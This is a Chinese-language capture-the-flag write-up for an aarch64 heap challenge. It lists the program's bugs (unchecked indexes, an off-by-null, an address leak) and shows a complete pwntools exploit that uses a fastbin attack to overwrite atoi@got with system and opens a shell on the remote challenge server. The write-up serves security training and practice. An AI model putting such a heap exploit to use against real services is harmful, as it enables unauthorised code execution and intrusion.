总结
好了,下一道。
checksec
题目的架构为aarch64
,小端序。
程序分析
分析后发现为经典的增删改查的题目,漏洞点也比较多,这里给出几个漏洞点:
- 在
edit
函数中,没有校验索引和大小
-
在read_input
函数中,存在off by null
:
-
在dele
分支中,没有校验索引
-
在secret
分支中,可以泄露地址
利用过程
调试后发现,程序没有开启aslr
,所以每次启动的地址都是一样的
利用secret
泄露出libc
地址,然后利用fastbin attack
修改堆指针,最后用edit
将atoi@got
修改为system
地址
用unsorted bin chunk
的fd/bk
泄露libc
地址:
计算出远程的system
地址为:0x400086f818
然后fastbin attack打即可:
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
from pwn import *
context.update(arch="aarch64", os="linux", endian="little", log_level="debug", timeout=10)
io = remote("121.40.89.206", 10041)
def add(size):
io.sendlineafter("> ", "1")
io.sendlineafter("size:", str(size))
def edit(idx, data):
io.sendlineafter("> ", "2")
io.sendlineafter("id:", str(idx))
if not data.endswith(b"\n") and len(data) < 0x18:
data += b"\n"
io.sendafter("content:", data)
def dele(idx):
io.sendlineafter("> ", "3")
io.sendlineafter("id: ", str(idx))
def secret(data):
io.sendlineafter("> ", "110")
io.sendafter("ohhhh!you find a secret \n", data)
# leak addr
# add(0x80)
# add(0x10)
# dele(0)
# secret("a"*8)
# msg = io.recvall(timeout=3)
# print(msg)
# io.close()
# exit(0)
add(0x80)
add(0x30)
dele(1)
# 修改fd
edit(1, p64(0x41209a))
# fastbin attack
add(0x30)
add(0x30)
edit(3, b"\x41" + b"\x00" * 5 + p64(0x412010)) # atoi@got
system_addr = 0x400086f818
edit(2, p64(system_addr)[:6])
io.sendline("/bin/sh")
io.interactive()
|
引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli